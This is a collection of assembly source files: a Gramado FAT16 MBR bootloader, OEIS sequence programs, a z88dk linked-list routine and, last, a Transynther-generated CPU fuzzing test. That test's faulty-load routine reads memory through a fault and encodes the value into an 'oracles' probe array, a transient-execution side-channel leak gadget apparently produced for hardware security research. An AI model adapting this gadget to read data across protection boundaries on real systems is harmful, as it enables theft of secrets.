"BSD-2-Clause"
] | 3 | 2021-01-31T14:25:33.000Z | 2022-01-17T22:25:23.000Z | arch/x86/boot/vhd/stage1.asm | tadryanom/gramado | 7be2bb045ee9178b568052db6f408fb8b41479eb | [
"BSD-2-Clause"
] | null | null | null | arch/x86/boot/vhd/stage1.asm | tadryanom/gramado | 7be2bb045ee9178b568052db6f408fb8b41479eb | [
"BSD-2-Clause"
] | null | null | null | ;;
;; Gramado MBR - Esse é o MBR que é montado no VHD na hora de sua criação.
;; Será o primeiro setor do disco.
;; Essa rotina carrega o BM.BIN na memória e passa o comando para ele. Além de
;; passar argumentos.
;; (c) Copyright 2017 - Fred Nora.
;;
;; É um VHD de 32MB. A primeira partição é a partição do sistema e está formatada
;; em fat16 com 512 bytes por cluster.
;;
;; Obs: Não mudar os endereços de segmento e offset usados para não arrumar problemas.
;;
;; See: https://thestarman.pcministry.com/asm/mbr/PartTables.htm
;;
END_OF_CLUSTER EQU 0xFFFF
;;END_OF_CLUSTER2 EQU 0xFFF8
ROOTDIRSTART EQU (BUFFER_NAME)
ROOTDIRSIZE EQU (BUFFER_NAME+4)
;datasector EQU (BUFFER_NAME)
;cluster EQU (BUFFER_NAME+2)
;SAVE3 EQU (BUFFER_NAME+4)
;CylinderNumbers EQU (BUFFER_VOLUME_ID)
;; 16bit. Esse é o MBR do VHD.
[bits 16]
jmp START
;BPB Personalizado para o VHD de 32MB usado pelo Gramado.
BUFFER_NAME db "MSDOS5.0" ;GRAMADO.
BPB:
BytesPerSector dw 0x0200
SectorsPerCluster db 1
ReservedSectors dw 62 ;; 62
TotalFATs db 0x02
MaxRootEntries dw 0x0200
TotalSectorsSmall dw 0x0000 ;; (CHS=963/4/17-5)(Number of sectors - number of hidden sectors)
MediaDescriptor db 0xF8
SectorsPerFAT dw 246
SectorsPerTrack dw 17 ;; 19 ;;0x11 ;; 17 SPT.
NumHeads dw 4 ;; 4 HEADS. Number of surfaces
HiddenSectors dd 5 ;; 1+1+3 ( mbr + vbr + reserved sectors depois do vbr)
TotalSectorsLarge dd 0 ;; Number of sectors, if 'TotalSectorsSmall = 0'.
DriveNumber db 0x80
Flags db 0x00 ;; ?? Current Head ??
Signature db 0x29 ;; 41
BUFFER_VOLUME_ID dd 0x980E63F5
VolumeLabel db "GRAMADO MBR"
SystemID db "FAT16 "
;;
;;=================================
;;
DAPSizeOfPacket db 10h
DAPReserved db 00h
DAPTransfer dw 0001h
DAPBuffer dd 00000000h
DAPStart dq 0000000000000000h
datasector dw 0x0000 ;Início da área de dados.
cluster dw 0x0000
;absoluteSector db 0x00
;absoluteHead db 0x00
;absoluteTrack db 0x00
;CylinderNumbers: dd 0 ;;dword
;;
;; Mensagens.
;;
ImageName db "BM BIN", 0x0D, 0x0A, 0x00
msgFailure db "R", 0x00 ;; ROOT failure.
;msgProgress db "*", 0x00 ;; Progresso.
;msgCRLF db 0x0D, 0x0A, 0x00 ;; Espaçamento.
;msgFAT db "F", 0x0D, 0x0A, 0x00 ;; Loading FAT.
;msgImg db "I", 0x0D, 0x0A, 0x00 ;; Loading Image.
;msgFail db "r",0x00 ;; read failure.
;...
;;
;; ====================================
;; START:
;; Real Start.
;;
START:
;nop
;Step1:
; Code located at 0x7C00, adjust segment registers to 0x07C0:0.
cli
mov ax, 0x07C0
mov ds, ax
mov es, ax
; Create stack. 0:6000h
mov ax, 0x0000
mov ss, ax
mov sp, 0x6000
sti
Step2:
mov byte [DriveNumber], byte dl
;cmp dl, byte 0x80
;jne FAILURE
Step3:
;;Clear the Screen.
mov ax, 02h
int 010h
;Step4:
;@todo: Certificar que int 13h é suportada.
;Step5:
;@todo: Reset driver.
;;
;; ** As informações sobre disco serão pegadas no BM.BIN **
;;
;Step6:
;; O STEP6 FOI RETIRADO E AGORA ESTÁ NO PARA O BM.BIN
;; DESSE MODO NÃO PRECISAMOS MAIS PASSAR ARGUMENTOS PARA O BM.BIN
;; PASSAREMOS SOMENTE O 'DRIVE NUMBER'
;Step7:
;; Carregamentos...
;; Carregar o ROOT.
;; #todo:
;; Cuidadosamente rever os cálculos feitos aqui para permitir que
;; que carreguemos o sistema usando discos de vários tamanhos.
;; Por enquanto estamos predeterminando as diretrizes de
;; carregamento.
LOAD_ROOT:
;; 559 (root)
;; ( MBR + Reserved Sectors + VBR + Hidden Sectors + TotalFATs * SectorsPerFAT )
;; ( 1 + 62 + 1 + 3 + 2 * 246)
;; =================================================================
;; 1 - mbr (*hidden)
;; 62 - Reserved sectors.
;; 1 - vbr (*hidden) (VBR da primeira partição)
;; 246 - fat1
;; 246 - fat2
;; 3 - Hidden sectors. (*hidden)
;; 32 - root. (512 entradas)
;; xxx - data area.
;; ## data area location ##
;; Calcula o início da área de dados.
;; Compute size of root directory and store in "cx".
xor cx, cx
mov ax, 32 ; 32 byte. Tamanho de uma entrada de diretório.
mul WORD [MaxRootEntries] ; 512. Tamanho total do diretório dado em bytes. (32*512) bytes.
div WORD [BytesPerSector] ; ((32*512)/512) O número total de bytes no diretório, dividido pela quantidade de bytes por setor.
mov WORD [ROOTDIRSIZE], ax
mov cx, ax ; Coloca o resultado em cx. (Quantidade de setores no diretório raiz.)
;; Root location
;; Compute location(LBA) of root directory and store in "ax".
xor ax, ax
mov al, BYTE [TotalFATs] ; 2. Number of FATs.
mul WORD [SectorsPerFAT] ; 246. Sectors used by FATs.
; +62. Adiciona os setores reservados.
; +5. Adiciona os setores escondidos. (1+1+3)
; 5 = ( 1 MBR + 1 VBR + 3 hidden sectors )
add ax, WORD [ReservedSectors]
add ax, WORD [HiddenSectors]
; *** Nesse momento ax contém o setor inicial do root dir ***
; vamos adicionar o tamanho do diretório raiz dado em setores.
; [ROOTDIRSIZE]
; Dessa forma ex contém o setor onde inicia a área de dados.
mov word [ROOTDIRSTART], ax
add ax, cx
mov WORD [datasector], ax
;; SIMULANDO o data area para testes.
;; mov WORD [datasector], 591
;; Obs:
;; A variável 'datasector' precisa ser inicializada aqui,
;; pois é usada mais à frente na rotina de conversão.
;; Obtivemos com o cálculo:
;; cx = Tamanho do diretório raiz, dado em número de setores.
;; [datasector] = Início da área de dados.
;;
;; * Carregar o diretório raiz em es:bx 0x07C0:0200.
;;
;;
;; Obs: Me parece seguro permitirmos que carregue o diretório raiz inteiro,
;; Porém desnecessário ainda.
;; 559 (root)
;; ( MBR + Reserved Sectors + VBR + Hidden Sectors + TotalFATs * SectorsPerFAT )
;; ( 1 + 62 + 1 + 3 + 2 * 246)
;;==============================
;; 1 - mbr (*hidden)
;; 62 - Reserved sectors.
;; 1 - vbr (*hidden) (VBR da primeira partição)
;; 246 - fat1
;; 246 - fat2
;; 3 - Hidden sectors. (*hidden)
;; 32 - root. (512 entradas)
;; xxx - data area.
.loadRoot:
; 559 - Início do diretório raiz.
; 32 - Quantos setores carregar. Tamanho do diretório raiz.
; 0x0200 - Offset para encontrarmos o endereço onde devemos
; carregar o root na memória. (seg:off)
mov ax, word [ROOTDIRSTART]
mov cx, word [ROOTDIRSIZE]
mov bx, 0x0200
call ReadSectors
;.msg:
;Uma mensagem de espaçamento.
;pusha
;mov si, msgCRLF
;call DisplayMessage
;popa
;;
;; Procurando o arquivo BM.BIN no diretório raiz.
;;
.searchFile:
; Browse root directory for binary image
mov cx, WORD [MaxRootEntries] ; Load loop counter.
mov di, 0x0200 ; Determinando o offset do início do diretório.
.LOOP:
push cx
mov cx, 0x000B ; Eleven character name.
mov si, ImageName ; Image name to find.
pusha
call DisplayMessage
popa
push di
rep cmpsb ; Test for entry match.
pop di
je LOAD_FAT ;; * Se o arquivo foi encontrado.
pop cx
add di, 0x0020 ; Queue next directory entry.
loop .LOOP
jmp FAILURE
;;
;; * Carregar o a FAT em es:bx 0x17C0:0200.
;;
LOAD_FAT:
;nop
;.msg:
;pusha
;mov si, msgFAT
;call DisplayMessage
;popa
; dx = Cluster inicial do arquivo a ser carregado.
; Save starting cluster of boot image.
; Salvamos o número do cluster inicial da Imagem.
; Isso foi obtido na entrada do diretório.
; File's first cluster.
mov dx, WORD [di + 0x001A]
mov WORD [cluster], dx
;; Efetuando o carregamento da fat no buffer es:bx.
;; 0x17C0:0200.
;;===================================
;; #bugbug:
;; SE CARREGAR A FAT INTEIRA DÁ PROBLEMA. !!!!
;; (246/2)
;; Estamos carregando apenas metade da fat.
;; ?? Por que ?? Qual é o problema ??
;;===================================
.loadFAT:
;Configurando o segmento 'es'.
mov ax, 0x17C0
mov es, ax
; Read FAT into memory (17C0:0200).
; Obs: Confiar no cáculo do início da LBA é perigoso, apesar de necessário.
; Por enquanto vamos determiná-lo.
; Obs: É possível confiarmos no cálculo do tamanho da fat, mesmo assim, vamos
; por enquanto, determiná-lo.
; Obs: Não estamos carregando a FAT inteira. Isso pode ser arriscado, mas
; por enquanto, como temos poucos arquivos, vamos carrega apenas metade da FAT.
; Compute location of FAT and store in "ax".
; Calculado qual é a LBA inicial da FAT e salvando em 'ax'.
mov ax, WORD [HiddenSectors] ; 5 setores escondidos.
add ax, WORD [ReservedSectors] ; 62 setores reservados.
; #debug
; mov ax, 67
; SIMULANDO Determinando a LBA inicial da FAT, apezar de termos calculado.
; #bugbug
; Estamos carregando apenas metade da fat.
; Falha se tentarmos carregar ela inteira.
mov cx, (246/2) ; WORD [SectorsPerFAT] ; Metade da fat.
mov bx, 0x0200 ; Determinando o offset da FAT.
call ReadSectors
;; Carregar o arquivo BM.BIN na memória em es:bx,
;; 0:8000h.
;.msgSpace:
;Mensagem de espaçamento.
;mov si, msgCRLF
;call DisplayMessage
;.msgImage:
;Mensagem avisando que vamos carregar.
;mov si, msgImg
;call DisplayMessage
.setupBuffers:
; Configurando o buffer para o arquivo. (es:bx), 0:8000h.
mov ax, 0
mov es, ax ; Segment.
mov bx, 0x8000 ; Offset.
; Salvando o offset do buffer do arquivo.
push bx
;; Nesse momento a FAT já está na memória, precisamos indicar
;; em gs:bx o endereço do buffer onde carregamos a fat.
;; Indicando o segmento onde a FAT está carregada.
mov ax, 0x17C0 ; FAT Segment
mov gs, ax
;;
;; * Carregar o arquivo na memória em es:bx, 0:8000h.
;;
__loop_LOAD_IMAGE:
;; Em 'bx' está o offset do buffer do arquivo.
; Recuperando o offset do buffer do arquivo.
pop bx
; Vamos converter Cluster em LBA.
mov ax, WORD [cluster] ; Cluster inicial do arquivo, obtido na entrada no diretório.
call ClusterLBA ; Convert cluster to LBA.
.loadImage:
;; Carregamos apenas um cluster de cada vez.
;; No nosso caso, um cluster só tem um setor.
xor cx, cx
mov cl, BYTE [SectorsPerCluster] ; 1. Sectors to read.
call ReadSectors
.saveThis:
; Vamos savar o offset do próximo setor a ser carregado.
; Onde deve ficar o próximo setor. ??
push bx
; Agora temos que saber qual será o próximo cluster.
; Vamos calcular o deslocamento dentro da fat para obtermos o
; o local onde encontraremos o valor do próximo cluster.
; Salvaremos em 'dx'.
; lembrando que a fat está em gs:bx.
mov ax, WORD [cluster] ; identify current cluster
add ax, ax ; 16 bit(2 byte) FAT entry
mov bx, 0x0200 ; location of FAT in memory
add bx, ax ; index into FAT
mov dx, WORD [gs:bx] ; read two bytes from FAT
; Em 'dx', está o valor do próximo cluster.
.DONE:
; Saving new cluster.
mov WORD [cluster], dx
.testEOF:
; Test for end of file.
; Testamos para ver se é o último cluster.
; 0xFFFF ?
; 0xFFF8 ?
; Se esse foi o último cluster então prosseguiremos.
; Caso contrário volta para o loop.
cmp dx, END_OF_CLUSTER
jne __loop_LOAD_IMAGE
;;
;; Done!
;;
DONE:
;nop
;Step8:
; Pass a argument to the next stage.
; Disk Number.
mov dl, byte [DriveNumber]
;Step9:
; Passando o comando para o BM.BIN em 0:8000h.
.FLY:
PUSH WORD 0
PUSH WORD 0x8000
RETF
;; ***********************************************
;; ReadSectors:
;;
;; Reads "cx" sectors from disk starting at "ax"
;; into memory location "es:bx"
;; ************************************************
ReadSectors:
mov WORD [DAPBuffer] ,bx
mov WORD [DAPBuffer+2] ,es
mov WORD [DAPStart] ,ax
.MAIN:
; Tentativas.
mov di, 0x0005
.SECTORLOOP:
push ax
push bx
push cx
push si
mov ah, 0x42
mov dl, 0x80
mov si, DAPSizeOfPacket
int 0x13
pop si
jnc .__SUCCESS ; Test for read error.
xor ax, ax ; BIOS reset disk.
int 0x13 ; Invoke BIOS.
dec di ; Decrement error counter.
pop cx
pop bx
pop ax
; Attempt to read again
jnz .SECTORLOOP
;.fail:
int 0x18
.__SUCCESS:
; Importante:
; Mensagem de progresso.
;mov si, msgProgress
;call DisplayMessage
pop cx
pop bx
pop ax
; Queue next buffer.
add bx, WORD [BytesPerSector]
cmp bx, 0x0000
jne .NextSector
; Trocando de segmento.
push ax
mov ax, es
add ax, 0x1000
mov es, ax
pop ax
.NextSector:
inc ax ; Queue next sector.
mov WORD [DAPBuffer], bx
mov WORD [DAPStart], ax
loop .MAIN ; Read next sector.
RET
;; ************************************************
;; ClusterLBA:
;;
;; Convert FAT cluster into LBA addressing scheme
;; LBA = (cluster - 2) * sectors per cluster
;; *************************************************
ClusterLBA:
sub ax, 0x0002 ; zero base cluster number
xor cx, cx
mov cl, BYTE [SectorsPerCluster] ; convert byte to word
mul cx
add ax, WORD [datasector] ; base data sector
RET
;; ********************************************************
;; DisplayMessage:
;;
;; Display ASCIIZ string at "ds:si" via BIOS.
;; Standadr print string routine.
;; ********************************************************
DisplayMessage:
lodsb ; Load next character.
or al, al ; Test for NUL character.
jz .DONE
mov ah, 0x0E ; BIOS teletype.
mov bx, 0x0007 ; Página e atributo.
int 0x10 ; Invoke BIOS.
jmp DisplayMessage
.DONE:
RET
;;
;; Fail!
;;
FAILURE:
; Para economizar espaço.
; int 0x18
mov si, msgFailure
call DisplayMessage
mov ah, 0x00
int 0x16 ; await keypress
int 0x19 ; warm boot computer
;;
;; Partition table support.
;;
; Colocando a partition table no lugar certo.
; (0x1BE).
TIMES 446-($-$$) DB 0
;; ======================================================
;; PARTITION TABLE
;; ======================================================
;; http://cars.car.coocan.jp/misc/chs2lba.html
;; https://en.wikipedia.org/wiki/Partition_type
;; VHD info:
;;(CHS=963/4/17)
;; Types:
;; 0x04 - FAT16, less than 32 MB
;; 0x06 - FAT16, greater than 32 MB
;; 0xEF - EFI FAT12/FAT16
;; ...
;; 0xEF:
;; EFI, FAT12/FAT16.
;; MBR, Service FS, Intel, EFI.
;; EFI system partition.
;; Can be a FAT12, FAT16, FAT32 (or other) file system.
; Partition 0.
P0:
.flag: db 0x80
.hcs_inicial: db 1, 1, 0 ; h,c,s
.os_type: db 0xEF ; EFI FAT12/FAT16.
.hcs_final: db 3, 255, 16 ; h,c,s
.lba_inicial: dd 0x3F ; First sector. (63, vbr).
.tamanho_da_particao: dd 17406
; Partition 1, 2 and 3.
P1: dd 0,0,0,0
P2: dd 0,0,0,0
P3: dd 0,0,0,0
;;
;; Signature.
;;
MBR_SIG:
TIMES 510-($-$$) DB 0
DW 0xAA55
;;
;; End.
;;
| 23.053977 | 135 | 0.563956 |
c93db16e4b22adbc2734e9c459838d67ff6bafb0 | 806 | asm | Assembly | oeis/063/A063017.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/063/A063017.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/063/A063017.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A063017: a(n) = Catalan(n)*(3^(n+1) - 2^(n+1) + 1)/2.
; Submitted by Jon Maiga
; 1,3,20,165,1484,13986,135960,1352637,13707980,141061206,1470489800,15500280978,164967244792,1770548369700,19143828730800,208347968093085,2280730450967820,25096531231958670,277445318198433000,3080106307677022470,34324626054260890920,383837382413585004060,4305845968519599800400,48442206041812208790450,546438904650601286293944,6179044568661510181532316,70029788084245094219671760,795342973845754467131787012,9050489929619514982214414960,103175854235007917815789782984,1178203738451820860249931445600
mov $2,$0
seq $0,108 ; Catalan numbers: C(n) = binomial(2n,n)/(n+1) = (2n)!/(n!(n+1)!).
seq $2,53156 ; Number of 2-element intersecting families (with not necessary distinct sets) whose union is an n-element set.
mul $0,$2
| 89.555556 | 500 | 0.820099 |
e695b28e0b092d1beeab7ecaf497d7653902c562 | 638 | asm | Assembly | oeis/062/A062809.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/062/A062809.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/062/A062809.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A062809: a(n) = Sum_{i = 1..n} (n - i)^(1 + i).
; 0,1,5,18,60,203,725,2772,11368,49853,232757,1151902,6018772,33087191,190780197,1150653904,7241710912,47454745785,323154696165,2282779990474,16700904488684,126356632390275,987303454928949,7957133905608812,66071772829247384,564631291138143957,4961039091344431189,44775185079044187926,414747562017467951492,3939676100069476203727,38347543372046856152581,382212360544615959020456,3898251044245064809850736,40659023343493456531478545,433416435364210050271615621,4719197932914333643288506498
sub $1,$0
add $0,1
seq $0,3101 ; a(n) = Sum_{k = 1..n} (n - k + 1)^k.
add $1,$0
sub $1,1
mov $0,$1
| 63.8 | 487 | 0.808777 |
0596df74b6bf2ccea7f59c09310ff6128abf33ea | 1,156 | asm | Assembly | libsrc/_DEVELOPMENT/adt/p_list/z80/asm_p_list_push_back.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/p_list/z80/asm_p_list_push_back.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/p_list/z80/asm_p_list_push_back.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
; ===============================================================
; Jan 2014
; ===============================================================
;
; void *p_list_push_back(p_list_t *list, void *item)
;
; Add item to the back of the list.
;
; ===============================================================
SECTION code_adt_p_list
PUBLIC asm_p_list_push_back
EXTERN asm_p_forward_list_push_front, asm_p_forward_list_insert_after
asm_p_list_push_back:
; enter : hl = p_list_t *list
; de = void *item
;
; exit : hl = void *item
; z flag set if item is now sole occupant of list
;
; uses : af, de, hl
inc de
inc de ; de = & item->prev
inc hl
inc hl ; hl = & list->tail
call asm_p_forward_list_push_front
; hl = & item->prev
; de = & list->tail
; z flag set if list was empty
jr z, list_empty
ld e,(hl)
inc hl
ld d,(hl)
dec hl
list_empty:
dec de
dec de
dec hl
dec hl
ex de,hl
; de = & item->next
; hl = & item->prev->next or & list->head
jp asm_p_forward_list_insert_after
| 18.95082 | 69 | 0.473183 |
da5bf21485b40d2373ad691a112aa3ee7d35f604 | 497 | asm | Assembly | oeis/256/A256299.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/256/A256299.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/256/A256299.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A256299: Apply the transformation 0 -> 1 -> 2 -> 3 -> 4 -> 5 -> 6 -> 7 -> 8 -> 0 to the digits of n written in base 9, then convert back to base 10.
; Submitted by Jamie Morken(s2)
; 1,2,3,4,5,6,7,8,0,19,20,21,22,23,24,25,26,18,28,29,30,31,32,33,34,35,27,37,38,39,40,41,42,43,44,36,46,47,48,49,50,51,52,53,45,55,56,57,58,59,60,61,62,54,64,65,66,67,68,69
add $0,1
mov $3,1
lpb $0
mov $2,$0
sub $0,1
div $0,9
mod $2,9
mul $2,$3
add $2,$3
add $1,$2
mul $3,9
lpe
mov $0,$1
sub $0,1
| 26.157895 | 172 | 0.587525 |
ef03b03275c24886df5952bfd2736eb013940d84 | 6,756 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_743.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_743.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_743.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x1bc4c, %r12
nop
nop
nop
nop
cmp $26156, %rcx
movb (%r12), %al
nop
nop
sub %rdi, %rdi
lea addresses_A_ht+0x11068, %r14
nop
dec %rbx
mov $0x6162636465666768, %r8
movq %r8, %xmm4
vmovups %ymm4, (%r14)
nop
nop
nop
nop
nop
inc %rax
lea addresses_WT_ht+0x18168, %r12
nop
nop
nop
nop
cmp %rax, %rax
and $0xffffffffffffffc0, %r12
vmovntdqa (%r12), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $1, %xmm3, %rdi
nop
dec %r8
lea addresses_WC_ht+0x1df68, %rcx
nop
nop
nop
nop
add $62405, %rdi
movb (%rcx), %r14b
nop
nop
nop
nop
nop
dec %rbx
lea addresses_WC_ht+0xdc4a, %rcx
nop
nop
nop
nop
nop
dec %r14
movl $0x61626364, (%rcx)
nop
cmp %rdi, %rdi
lea addresses_A_ht+0x15ae8, %rsi
lea addresses_UC_ht+0x15b94, %rdi
nop
inc %rbx
mov $41, %rcx
rep movsl
nop
nop
and %r12, %r12
lea addresses_WC_ht+0x4c68, %r12
nop
nop
nop
and %r8, %r8
mov $0x6162636465666768, %rbx
movq %rbx, %xmm2
movups %xmm2, (%r12)
sub $45067, %r12
lea addresses_WC_ht+0x17d38, %rdi
nop
nop
nop
add $39489, %rcx
mov (%rdi), %r12d
nop
nop
nop
nop
dec %rbx
lea addresses_UC_ht+0x12e68, %r14
nop
add $19513, %r12
movw $0x6162, (%r14)
nop
nop
dec %r12
lea addresses_UC_ht+0x3968, %rsi
lea addresses_normal_ht+0xcaa8, %rdi
nop
and %rax, %rax
mov $91, %rcx
rep movsb
nop
nop
nop
xor $399, %rdi
lea addresses_UC_ht+0xec68, %rsi
lea addresses_UC_ht+0x55e8, %rdi
clflush (%rdi)
nop
nop
nop
nop
add $29319, %r8
mov $117, %rcx
rep movsw
nop
nop
and $60108, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %r9
push %rax
// Faulty Load
lea addresses_PSE+0x1b468, %rax
clflush (%rax)
nop
nop
nop
nop
nop
and $63020, %r15
movups (%rax), %xmm7
vpextrq $0, %xmm7, %r13
lea oracles, %r9
and $0xff, %r13
shlq $12, %r13
mov (%r9,%r13,1), %r13
pop %rax
pop %r9
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_PSE', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': True, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 2}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_UC_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 7}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 